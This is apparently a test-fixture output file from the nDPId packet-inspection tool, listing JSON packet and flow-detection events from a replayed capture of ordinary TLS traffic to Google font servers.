+00455{"flow_id":43,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5607,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963102,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4yD8lZEVbpSPcgBALMGx9AAABAQgKwtdDyDfz96Y="} +02099{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5608,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963102,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgVAAAAAAAAIBYqAcsBIEmLB5kd7IUo3\/YpAbvMSCvRwl9My73ygBgLMJkxAAABAQgKwtdD1ESadQdSxaTFHtMYr5BhF6K9L4543ScO2OaA7Nxk1pvQYOEvlsymKEpJjVdpYbU4cLXWw6rbDSjoxo+Hm0cxGI0B0SmHbClmJuz5Djm2Gm6MWP+7v92yYfksuPG9qQzzU5qKKzjnDdv9x83eaz73ibp\/fGaotDZt6t9li4uZtB9l5hY7yhKPei7fpwk\/4cyBR\/9OtLlabHhXXGw0RjnnF6\/ZaC+ZzotswSIx72jEbWx1jUYZfE+\/5cGbFXoZOtqN9oNIsWE+uRo8DYywaAkkl9Nl2+sGNrZBA6xtXiifngnzyyciLZ0MUpTvsZK0x1ymHWD3Cy\/3PfAFs3dt5mVsh3cYCIdzb0Uzk4RYKZ9eIwrp2id+YM2Af1r2qXw1JBL+TitxQtOvlEeWV4mt6LaAp7aEWVRVgTD3Xen2\/NqYASEcoEzLP8UMsucIXX62pgj70BOAqwGdvRKPutD5sm+Fz\/085H9gjzL2TPi6hj+0QLZ0nq+wsXf7fXfqyFxj8HJz0bL6KJmiC\/VkaSAk8d2lKrfATJTJa8\/lQb7guqP24\/p6JjEz3ofl1nN6yA+UQLRvCGgKu0dQZ7WTzpLTOoltseZbUJQ6emOncJiBA67eMlv4yK3rzihT8muLyZGg4wlOXj9nvlcBDBgsWdNieIecBbxaK7AolfpKvQZT2CJU+TLzniyGtifw0oq1QoYQZfpnkcitlK2\/C\/RIDYRn46Yh9FE\/iv4Ni7TR+czMhcvKX0Nn9xMgxGZYJZR7aOgvqywDdDvIhXFNcXPA7xweizHgboQwyttrwa+EPDqCktga9JvTGGqClJURZlbmNDXbFtw0U3UAyIyBaeZqLzE3HCxbE0XhrlyPmqaYeOtiAxtCDbDIzVIHHH3n\/UnCezcP313XG+kMSdVY2tRZr2JBwoPOyxIl0B9txWSsenypgyurtpowEe\/\/yAtpKOHdHXHI2N683sIlB6eQJw7kDxuDqr0UwRrvvQLiKSNvgik9lFnUwYBGuHG\/6M8K6iV2RRvzpCR4ShRjdPBoTubJno648SXkBudoE31HT9JwzO0YmKnit7iqc83zfs4qrZVxLd2y2J2EPFFjCrAOaBYYMdV7tNtGnIB732Q9cbOk37nlM56pjbQ3TDbGAcCsEmW+8dZIsAoxAEzmgGZEZwquYsEM7qtUezGtSO7XA7rhYmCAKRbfMM8xXbwVxXhhdGc60VyXoFb3A9nx+WMjVDzsxAX9isW\/2hotIYaL1vKZfxMces\/Hxe5cI6ghy6OhhdsRdWpw8Czu4m1T3GNMX\/MEkUIwaJKsOxF9YMvNttv9V7OdIB5t\/ub09xdwaLG62NwdlIQqtvpPwJ1VJJo8Aq2RQ9vE5mIDT6WjFxUNd8iy5EGCiFXipGDJuYAJJFyMELvUa5GntrVHIqvLhizvzxsWbt8XeC04ORD9VnmnELY\/3q17WxmGhhpiItsQXlNewzOcJIbTPfeHmzdbo5x5aDjiZT0PM5DHnvKAc5BgvKMp1ED2VR1rkriugL7FG3dUEMP3PKH4vtDOzLs5YGTXnu\/FfPtSS7h0lNXPqX\/OVbOubjWVKxymy8MiYS3\/TXNsBGkBSGwZ3YpaDSuTYIQlzLpW1FkC+g=="} +01375{"flow_id":41,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5610,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963103,"pkt_caplen":765,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":765,"pkt_l4_len":711,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAscGPSoAFFBABwgVAAAAAAAAIBYqAcsBIEmLB5kd7IUo3\/YpAbvMSCvRxxdMy73ygBgLMEIyAAABAQgKwtdD1ESadQcZHHwFtm\/00a67Xaxe8sC42DcWT7JHFrsxcupGcs2bBk4tP1NcetWNIbS6kX6Yk6Yn7Pc8GJF5XoL07ox+lbVoD4r06nQb8+9Wy9+8cGz3S2l6TSC46Np73Ya8ZIZjtgDBV9ypfQWLL0gB9R\/UtWTmQsueauMdrMgPoqxNaDxtOtDWZ209hQskz8rQG0gbAdLRAmNwgzhdElKyLZH\/buQalNrLl+tdVn0j90zPGVo5msGCtGiijmd3C+BVJybFF\/QBZ4tJ0NjT\/cHjzNZcUnTn4sbg6sokS6WFhW4BEtAVVxDiRkcA3CHCcF0KkaOdV3Yar8yhsULdb1XfJjUGoG1h+cK\/9WxMhQ2KVhfWy+qSg1Z5bdcBgD6YKFAXtxoUZF9F3Ou25SJlb7iiuOXHeGx6KNHq65NKrGeYIpUsPAZrlRHj0CZvot1deS\/cAXr40ZFdVicdkV3dQONNThzAfSp45LDSWlavxLsJxbUsY+t9ig0xcbqklx+3nLbXAShXwPGQk+hCoYm0axsrGMpysIv52halabSHf7mMoSoQaF\/SsKzgKUnypU1rtg\/gzZIhQrPr1rfdzUnWCJ\/EOWG3ExUWUUIGi7JrPw6ny9D4OzD1+mSpnFEVI1\/WtDxLJgXJ+7qTPVFf7WmSvCRCkIurA6JmfMfT1JjnyplXpLnx6nmBKWmc3mD4rhKNo4+GxiXc6QahhOypns7iRr0qjYNkjTQ7uqQPl0Z4FwoOzEXYzx1bav7c3AE7FCCLi+Lrk6qp\/MAi7ei9KPZr6qh8WSxCVWJGh5N6z0GEZ63wymyUsYvfr++rTBCCW1la+F1r892stpNL2dK6w0gcsqwsXIHO4+cxTFjV+WyNdFziX8ig66Uq24AIoJQU4a1reVpdbp\/zFPbka3hv2Gt3"} +02093{"flow_id":42,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5611,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963103,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4xvp17E6f1aoAgBgLMFWyAAABAQgKwtdDzjfz96YWAwMAegIAAHYDA50GuVwxZlSmfLeljrsEaGj3kArkeK0EAn4SMxxc7K0PIDLxR7\/ypcsELHSllGpRYQ5lC32jGxm0ISoXtgzdDW32EwEAAC4AMwAkAB0AIJdGG6hXXcv7dt5D5ui68p1eatv0G8uZdg74LPPbCRw\/ACsAAgMEFAMDAAEBFwMDCfPZpOnl2HjLA\/9xFHuMXS0+FnOSwgR7LN+A+2q053TgsWd1cSWngKEs8TnZEYOSSzBOwrZMkBW6NgLDW+Kv9Vc85X85tAEyn4h+32aMS1vHiXoKvqWOKFqSMlcwqJIfBQ72KDHD4iPxhBPAO8A4qC2I\/OdA4fCtAGfRpEE5jzIiTOCKppRvX4kMthcqnb26JHGtTevgIcJ+KukOdlRr5jvHYHKQg0qYgKFopAjjfWwnzStWVo6QuCJciMgy6FfUnyYDpJcRcYAtrwKVEaFgEJWkfU5CKon8pVvRI1n4g1v419r1CecQb33nptbNakw4TG8EQAu1gXEvAfLo+ZuOaO0TkV3BV2cEBRqczjERA+dR+T\/dagBf3YYb4b3zWZRdHcj7gAmTJqlfGUJs+f7SshgCMsOpd2f64wjZaSaTxItECwetN3Eh1iiU\/RA69jWR6TEkqHOxnfsJSfC7PSsukBTEez6BxVLym3zqKu6WFZ+JBYv6bG40JYN5Cxki7+lm1WPMQ4y30evApY6DVO\/AtcZQ\/2FKhV9UuzW+bTJSNI\/N+fvT108j9VL2cJ9Ru+QloJiCllfXn4bYSSq9g2TvEAaX62tvqlK+Z0xEEf\/xRniu7eJoQYTOIMh1GZeXnMdcqxW1p\/goVQBCBBlyLsZRy5GmZyIIQUJJ+jwNYrldSZS7u3C3pU\/M874UD3SXvkzQmc0VrgZ0WVgcZkazx+513h3D9F\/KtaZRY9+is2WeZ9zmVU50VIR1RpslGH\/tSP5ydqtZRQPJxnpTl\/+rNud87IFjoukCR7codR3P0Qu3giT60xKtzvLWQ3posCrW1RaeGM1hbFjJet6BFPby4eE6fhTK47W4kMitzS9HiIxcLbpGXzXLT0HzqHu1tyIFfvQYN1JoBVXi7zqSjl2mEZluOo3lzUzMOEpOqFS+W9R6h2GPaCt4Z49ebGZcqhXY3QXvCGQ8Uo9ZIO2HIkGjfZhfKrpO1FC059AnZna8Mp5V65GO1wBSXoW7v9XC5l+KsuSiX2r4umtrQ\/4HSP5U58IllHNDLkM3rXMVMOlxD12vrx\/RX9D7zYZh3\/2HuWv5byxO5TjbuaWEtrKxAhQns8QJXgqf0CjzMhqJ8ORRAqeAM+2R0dJzOJorrVycnxOJscZfoFtnhDk9YPBqeQ1JozE7qKAB5EJ3YsMSqbY++jYNimXtpf+IRSUg2\/Byuqpa+As3PdfN6PQgHw4lLBP0krLCWttvZ5KbWoMF+2G314FqCgqIiP3Bp9DDNa+I9Oc6FHUEGyf4Vbn4bRLXvrCswOq7+f2mE07WH6YaX3nPWmaTSa7N8uS0GjNJJE3qZhyvxn0yJ\/TOfuZVCUjbyfbf1Pcs2giwz0mI7204DKo8gEkWm9PFGOIoBib0bOJlh1K5V1Rl29jnadeDzCBTspeiug12Sw=="} +00870{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":5611,"source":"reddit.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":6,"flow_first_seen":1605291688843,"flow_last_seen":1605291688963,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80c::2003","src_port":47302,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"fonts.gstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00455{"flow_id":40,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5612,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963108,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBrB0ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAB4woBuyKqwZZF0JKXgBAB4aRuAAABAQgK7uBOF8LXQ9I="} +00454{"flow_id":41,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5614,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963115,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDPOvACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFQAAAAAAACAWzEgBu0zLvfIr0cJfgBAB9QHCAAABAQgKRJp1S8LXQ9Q="} +00455{"flow_id":41,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5615,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963121,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDPOvACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFQAAAAAAACAWzEgBu0zLvfIr0ccXgBAB8v0MAAABAQgKRJp1S8LXQ9Q="} +00455{"flow_id":41,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5616,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963127,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDPOvACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFQAAAAAAACAWzEgBu0zLvfIr0cm+gBAB7fpqAAABAQgKRJp1S8LXQ9Q="} +00456{"flow_id":42,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5617,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963131,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAjZHACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMYBu5\/VqgD6dfEGgBAB9WMDAAABAQgKN\/P38MLXQ84="} +02098{"flow_id":42,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5619,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963145,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4xvp18Qaf1aoAgBgLMJUaAAABAQgKwtdDzjfz96b6juxWYtm6mQuMZGF8d\/hFg3V74L0vPGDS5p4n0L5qG69COWeW3iBxWoXQzsdg4veBkzmXcGcV87Y9WCimKhc78oFZhO9YI8m+BRcUHH8\/Qh8RsZuTT\/IU5R76KhK97JczogUXlc5HqHRcvGDVavtdrg0YiwD6vy7cyx\/RWEetvThxJaENmjZUCCdkxSfeptObbjpfD++7OyeNrAmzikQEW9nG\/y+RwxIjpQBcLpulL4WcgXliDfmkWQRplMCcGUZKyvY47nQAjDJbmvkk4ZyxOrXhFVrUO+zFIkCSY0QA0HeQY+Kz24w+rWylo6m4woPeDfbrptNykl24xMRrBz\/8lSyeiCIWwjKqm11QeAHNNs2yLtsEa+LPVSiiqr\/4rvTbn2oUgyXNPmbI8gdclYR\/SwoWnMWbSMKszPbK2qCUcKj+Nb3lC0VF4fG7KPvUtsqcKsvTPcCAgIfW+AsD8L057mDx5yDZUpzAjUQT5DhyqWt+vAohV7CRMU0IpdKCHXszzuqIjgYsFvGum\/xv29apNjLgxg6ro8ORbl7fZNZ2N7OYM19pBQROuvHS7MMe\/IiM5eMJdsdq70daWmxbDCb5JMAc9+nALLiKzqhNcOB4MxFcEiC1fYqPpM7l3yp12LFVK+13x7yxFeeyszAkm32Z4MgbtBSzKLnLOFaU1dzAu1ViG5pKNgWwaY0gLtYtquNl701WR\/jqNPVma8K0tS\/7BruInquj3CbXDCB2juYPYkwSBCN1C6bO19ZF1bh1OPL60owJIXJf1eEMIH1gqKIe9MiNe1x3AEQEq2GLwb3gPL9NpArh\/1k8xaGNUkZJngleRm3qNCdz9GmZWzSTncPMoTqW4kRdxEJuqxV6yfbwR27zp6olajfi9c79qxYJKCqnrfDwUk1E5LtrCRAdpmMeO+IXajXcNypjeOHfJSdY4sVH4N3NqIFm4f\/RazTRk+Bqg7bYrdivsiisIsB0D1NhzfokzDbMNVjN5taQwjCzYfDecOT8sTZwrtBFytTaDVjDC0N0riasNCyta0cQRW9GfsArMyFNQDGS+qgV19ctlKBCFPzQauDfZFP\/ne9DJuxk23Zh\/XU+7U88K7ERQEWCvrJ\/6vo2+cJKLwrAtgkGbad3S201Z9Ns+ngxfItdd31SgUgTISYGjMIcoyf7IeB\/pD1j5MVW2OP8hC3h2rBUgPx5y8z90zyyJacKLP1RJNLbuYcMory9DENkNhymMuyfH\/wWO\/H5JbLvB1vYK2c5ePMz5m6RStY40ueA0aGRqE\/G9sBJUtcVFMIkHc4B2VvxB0ZQCZgjSiy5pwzy0QrqjbboMSeh4uy5uyoo5d36T00GWgssnmlza0dKSHkuGKdPdWuPt6IPguOIDr\/pAEHXTfHJhC1OnRe1pJmSnWghOKGFZtnUR+3ghzQMMvRCgR65cwlUhXr+\/qhDS87BuEWPj2hoNdW9iWhKnaC3Q2SWVfWmuPKLESt5VYQkGQfzggkPyCIwk2UO9sa9RONMHuHJNXR58HFDGev\/wO23sfGgsYd2O+xiHK5IBtGwMAokecyK\/TELOLokEJrwZaAM205GHtUG9NilTlq5RTrAXbyMB8dLcrtqvX0tPw=="} +00822{"flow_id":42,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5620,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963145,"pkt_caplen":355,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":355,"pkt_l4_len":301,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAS0GPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4xvp19b6f1aoAgBgLMOzfAAABAQgKwtdDzjfz96bUsmxC081h5ZSDjxYRC0\/vv\/aVDshIdoJf6XkBZrgfA6CGMnWzHlpEnzbc7BqGk5ohBApcWitDvQJDlTjw5de+3Ihck2QENwDH1A1C99dPldt6z7bfhbLeNoAzjfAlcbEjEU7iHZTnGBK5E+u\/EHaxbynFMAXGohBOqzClJuJu+19rl8E\/YfUYDUX70sFkkMI6fVz9PgMVWLSyLEUNE43pLwnYGuSRqgOUJrL5ANkwcYvoklc3cngTRBKFb0tdKeqkLIFS9nnmzg+7jNZYc3US45+pndZTpBJ48U7HT3zpoSkQMHOarKLNSo9G0FVAClrU6ugD3cl0E+6zThNByss7DaYi9sm4ghjKTZUUTQ=="} +02100{"flow_id":43,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5621,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963145,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4yD8lZEVbpSPcgBgLMJr7AAABAQgKwtdDzjfz96YWAwMAegIAAHYDA9Xx\/CglIgupwLXOi1kaLdqKlqzDVEq4I8qDgv5\/aILBICOazh2ftjIMIz\/UcLVP0+BLLLQerkGXc0LbFnQmwjmQEwEAAC4AMwAkAB0AIB0wxfl0l0reCCYaTsetknwKMBE12qV2j5DVjFAHKdgLACsAAgMEFAMDAAEBFwMDCfNXBxlFM\/4hZrplrnKV86xxS4H1jgUKKByDZD1pOgXeSFB7VAqUUxTo909d3ySTp\/YuXhMjCWbyLZl1be44dT45t1yuSl0cHetyorWyJpfkJHbzuyyZsODZm51PBklBCHfJY23d97enyBncDyi2yxruJQJ37prxsqafiI5ho7vlNctkxB0EPp3iU1asRIc8EBVbddI7viyCXSBeyNAg9MbqyIQAysg8aVPBug\/uVXXV4R+Bd\/fOsLUELLI3aaj7K4Z90g66g0XS4Uyyu4MtMOdqe+czpgF\/ouaApb\/8iVdv5Vr\/78a23NFFCgEbc0k8dqbXG9ZCFQA0xul7Rab1LWLGpGYSad2WwqHCgF+f+7aua020QP3C0fZzrZsLYrRIIlFwmMu4g0HaW5XsjeGHVJwysJUQ+EGQD+XJVNkjOnxyt1OlPtM11NaJ1sarjQr5rrSwVMC6J3bD2RsLAlv+QcemXqy1MrSIBgnH42PELeRtwJoiq9EGz2UgcotKpWVH9h\/kZ4h0i\/14nJsOJHVQtx3zsEzJXMwLYp\/LrtQZ+TnsoAgaJMmVrwHSJl6ZFINaaRrnzcwoiwvO9ShhzC40hm1Ju3vreRgujb\/TnoB21kZwW29ys7zNdZGAKelsC2WC7tx8WAygVbrahwnr+KyIlFzQdX9iF8YnSSJnwMiiLuhU0zMJ7s2Q6gCGUYNQ2CywMZEk3yXdr0AkcE+w3WN3gruRbG0joecxQPodlsoFDWvNNhCULNslj+nN+7DNp8hkT7znXFzI\/F\/0Y9o3mSL0hEIjEvCJl75Pjx0t1wj0SLFavmqOOoJZpCm1hswbwg8O1Bc\/DdJqYTdcmUyU74rvcBq9EOGIzhXEqtOqQ+7GzS4q2VCd+uOIf\/H1k5P2v9awJVnJM6hAsR+w7+sY\/PYGYzkSmBd132ERXYWTp+u+uO83bm2cNbdIF+Uzj6RNZmcbGl7El\/zVDBRrFeuzXRlb+GJMlacg+4kcfYVdf\/icSC\/eEBIoxBMefmaQ4IvgTO7IyijUgkfefAxfp4SSwnl1GJaGLaoHGcTxZZJPxNrD0UbQAMyemhsmEyFC4yyW4\/8dTBTQaKFG2aIaLwiD6E390j6acH0sV8d4Hin5EncFtlShMjlISQpTZOUsCHDPVLmqYgDSe2Y5NJjgfxp+1qqqT7rSzIRkrhhoodQm7wwV8F2lM7kv4vjxj1lmJ\/Ius0l5U4go+Na+o2rMgIreSXEQrBJDwQQ1LCF+gj1wU6\/m2sMn4M6oYmrtfOEAM13H5MQgiNFyv7r8hky5dKtoBlC\/UBuq54F6omwArpUGr5QpLCyG1CUSKJ6UAfV7dHJl+Vx8930LuXk2+mA71vfXpoBrPj3FKytazqvB7uoQR1cnEOV\/aqvKnaRNbtZLLSoAIkJJD1wSP7NVXLtCPHhZOFHkZw=="} +00870{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":5621,"source":"reddit.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":6,"flow_first_seen":1605291688843,"flow_last_seen":1605291688963,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80c::2003","src_port":47304,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"fonts.gstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02100{"flow_id":43,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5622,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963146,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4yD8laP1bpSPcgBgLMKhgAAABAQgKwtdDzjfz96buRS+F7fp8hxn1hGstedehWvrxbbnf5sFtMlZkIjGFHRnRdTh48tSHR9xzjhE9LK0pwSu\/dYtdAcLdmNNYnIfGRIydRlAqXG013W8bOqYtXFkhvvTH0AMDSEyEJ2iKwuqoKWqgzyPqdMZGdOm4CHO8gFTbJdW+TL9bv9kHixd1jMetnEdXSg\/EzybhLtPsZgEYBoI3W0Y\/+p+Ga38oo0xS\/AAyjhQKjlmhRzm0slHPti3ef3\/uVXjr92Uu9u1+lq6BrM5bvmhNrddZ3eV24j\/lUS+3S50QXCvQPe55Nr1egbwNJSlW2bsdLA8iaZWoY7PQFVSeqhQleZVb+SCgUSUMWJOAI8mWpOLwtWN3AQ50IsdPERYXOGTBvGQEZb3qwyFO94a5I3TEVWTdwKTomJxi7opPDD50up5H4VpBJf7WGFzyv9i88zoiADzusvktGfA1kcmOFwQmkOVPRilrA84LKkqI1mCnEgHJcXP0um9QVCGyXokf8S2mntzVVSah3\/Oiume7yU7DUi16bjtG3+hacWBGMO2+Ni\/N0gFkx8RKWKCOe+Pw4h1nz\/ZsTqg1jlGy1COC0iQODZMHbrFHUVf1TTyPpWY0GV\/jtizrpoM+CQRp5fbNTMdjeM9QwzZxOen7OYcrRQohprWRosyPbPUlPHvyaUT9XBvcmVKbHhpJ7\/ENeC7X4o9PznO+kwLhMxiuIDVzw5GbYl+JYxUuZodRJAKsnKUh15nXhT7uYOmR6EvMBkgH\/JmH7iRMKedBnfKQhNU3U9X0pH9RE7TJ+Pb5AR417AYuHI2a1OycsJ9VJsXVMIUzhE2WVFmmei7p3buMhei2FBZdrnNpH01gjdDcDg8TVswpEIxA4wpI+Z1xqpYGXa10OrUg+O0OstqI7Z8WBeHrSyh\/sxexVKv0QUgCFTh5QGCPVIGPPfuqtyGnmSxY4ZCwrA72A4ZYfcaLxeZfiNw6An2C2iKBW4EvhEZjVPWy7RovF7LolzSpY0T2YJnDOE8ju6hU0odNvq2h90Hy3E7N4cU4LbJH2M\/BkuCKBIP3oGBI4EnZpJJzqN2O8nwPetDTPjPt5nGEtT\/10pJp+3R9T8RW\/Z1SZhLp9mWZaEnOAS+5FxQJJzMWRbSCBZm+WsoHJ4PTGiG1wUc7zMrF\/LYaJYaOCzBy8o3jERgtb9n\/HIC5t6PQBZvbub1VrbRzmkRkAxJXCP6opcoVDJrALCwDIyHoyq3DPd8phdLNNv54NWwuDqOH2lGbPcsBNjDqEClKD\/g4yXnG9lYHjd0obo+m7ldwBHEuJCxxsrXp3vftYJXYBqF4PZFwyl4r9kj1pMychW\/OSSngzSnew9vZxEeL9dN5r7XDlLICd9LY4URxfmozeeoNQkZ7dWkUX+mhVOP9OsszMfIndovXrqKuDdQrxx9iD+JEXCBTc6rTHua7TEQgNabv4ZSAPBxPGfwwImC\/g5SxfFIlT7\/QS\/92elaiB7qRW4StlS6RSZI\/+UnUMulk63ksJt+\/\/AkNu\/3buShBQqXc50E7ZavxrQrx68ZtLrenPRUaQKteFvxWyj0MvLty4S3W1Z9obYhi+pysFjrn7+1qDoM4q37W8C7GHoFwPoQfLA=="} +00821{"flow_id":43,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5623,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963146,"pkt_caplen":355,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":355,"pkt_l4_len":301,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAS0GPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4yD8lbbVbpSPcgBgLMCGjAAABAQgKwtdDzjfz96bPIEph5izz7ezvMZGFIrlXa6WBEFpLgQuikWGA5oQiJy+ofZfIezYUrEiSgkfiwC93def9fqnLfsL3nibiaPMaGj3P4lu2Ktst2eV899ca5jeu6XXaXgQo54RX4\/Qm7djxnj97n3fxSaIDTzrfA9eYtN+x2bZUZfyl4VbV1ZO8sMitpAtpVifZDuu+wj4MuteCH\/AiJ2Rbq4BUyn202RgkMsZw0IaXT\/2PGc3dduytbXCerx5uPUdp5l4lf9dhteRKTWkDkvAFgTeKK7LVvcT3RaTwnEv+opN0tRdVWTRuipaK7yQ0S3Wd1AVCtzeZqIyh2Vce2sWyV7YBLOaBpD2MTQJgJrwvxbU3LOuUdg=="} 